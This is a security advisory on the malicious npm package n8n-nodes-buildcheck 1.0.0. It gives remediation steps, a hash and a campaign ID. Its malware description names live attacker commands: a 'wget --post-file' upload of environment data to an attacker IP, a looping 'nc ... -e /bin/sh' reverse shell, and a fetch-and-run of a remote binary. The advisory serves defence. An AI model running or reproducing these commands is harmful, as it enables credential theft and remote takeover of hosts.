Which versions of n8n-nodes-buildcheck are malicious?

The following npm versions of n8n-nodes-buildcheck are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate n8n-nodes-buildcheck if I installed it?

n8n-nodes-buildcheck is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed n8n-nodes-buildcheck — how do I know if it already compromised me?

If n8n-nodes-buildcheck was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is n8n-nodes-buildcheck part of a known attack campaign?

Yes — n8n-nodes-buildcheck is associated with the IN-MAL-2026-020050 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find n8n-nodes-buildcheck across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for n8n-nodes-buildcheck (version 1.0.0).

Malicious package

n8n-nodes-buildchecknpm

Advisory published Sep 15, 2026Updated Sep 15, 2026

n8n-nodes-buildcheck is a confirmed malicious npm package (MAL-2026-16177) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in n8n-nodes-buildcheck (npm)

MAL-2026-16177

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall n8n-nodes-buildcheck

What this malware does

On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for n8n-nodes-buildcheck (version 1.0.0).
If you installed it — respond
n8n-nodes-buildcheck is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If n8n-nodes-buildcheck was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. n8n-nodes-buildcheck on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020050

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks n8n-nodes-buildcheck-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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